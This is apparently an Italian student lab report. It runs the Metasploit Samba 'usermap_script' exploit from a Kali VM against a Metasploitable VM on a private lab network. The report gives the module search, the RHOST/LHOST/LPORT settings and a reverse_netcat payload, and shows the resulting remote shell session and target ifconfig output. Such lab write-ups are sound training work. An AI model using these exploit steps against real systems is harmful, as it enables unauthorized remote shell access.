

# Report consegna Pre-Build Week 2 Traccia 4

---

setto ip meta

```
msfadmin@metasploitable:~$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 16436 qdisc noqueue
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
    inet6 ::1/128 scope host
        valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast qlen 1000
    link/ether 08:00:27:63:9f:5f brd ff:ff:ff:ff:ff:ff
    inet 192.168.50.150/24 brd 192.168.50.255 scope global eth0
    inet6 fe80::a00:27ff:fe63:9f5f/64 scope link
        valid_lft forever preferred_lft forever
msfadmin@metasploitable:~$
```

setto ip kali

```
4: eth2: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 08:00:27:34:2e:0b brd ff:ff:ff:ff:ff:ff
    inet 192.168.50.100/24 brd 192.168.50.255 scope global noprefixroute eth2
        valid_lft forever preferred_lft forever
    inet6 fe80::2deb:35bd:2387:8dbf/64 scope link noprefixroute
        valid_lft forever preferred_lft forever

(kali@kali)-[~]
$
```

faccio la ricerca dell'exploit e lo configuro con le impostazioni della macchina target  
dopo averlo fatto lancio i comandi richiesti

```
msf6 exploit(multi/samba/usermap_script) > search usermap
```

#### Matching Modules

#	Name	Disclosure Date	Rank	Check	Description
0	exploit/multi/samba/usermap_script	2007-05-14	excellent	No	Samba "username map script" Command Execution

Interact with a module by name or index. For example `info 0`, `use 0` or `use exploit/multi/samba/usermap_script`

```
msf6 exploit(multi/samba/usermap_script) > use 0
```

```
[*] Using configured payload cmd/unix/reverse_netcat
```

```
msf6 exploit(multi/samba/usermap_script) >
```

```
msf6 exploit(multi/samba/usermap_script) > set RHOST 192.168.50.150
```

```
RHOST => 192.168.50.150
```

```
msf6 exploit(multi/samba/usermap_script) > set LHOST 192.168.50.100
```

```
LHOST => 192.168.50.100
```

```
msf6 exploit(multi/samba/usermap_script) > set LPORT 5555
```

```
LPORT => 5555
```

```
msf6 exploit(multi/samba/usermap_script) > set RPORT 445
```

```
RPORT => 445
```

```
msf6 exploit(multi/samba/usermap_script) >
```

```
msf6 exploit(multi/samba/usermap_script) > exploit
```

```
[*] Started reverse TCP handler on 192.168.50.100:5555
```

```
[*] Command shell session 1 opened (192.168.50.100:5555 -> 192.168.50.150:45223) at 2025-01-03 05:28:03 -0500
```

#### ifconfig

```
eth0      Link encap:Ethernet  HWaddr 08:00:27:63:9f:5f
          inet addr:192.168.50.150  Bcast:192.168.50.255  Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:fe63:9f5f/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:2195 errors:0 dropped:0 overruns:0 frame:0
          TX packets:3045 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:430624 (420.5 KB)  TX bytes:2714266 (2.5 MB)
          Base address:0xd020 Memory:f0200000-f0220000
```

#### lo

```
Link encap:Local Loopback
inet addr:127.0.0.1  Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host
UP LOOPBACK RUNNING  MTU:16436  Metric:1
RX packets:3973 errors:0 dropped:0 overruns:0 frame:0
TX packets:3973 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:1961941 (1.8 MB)  TX bytes:1961941 (1.8 MB)
```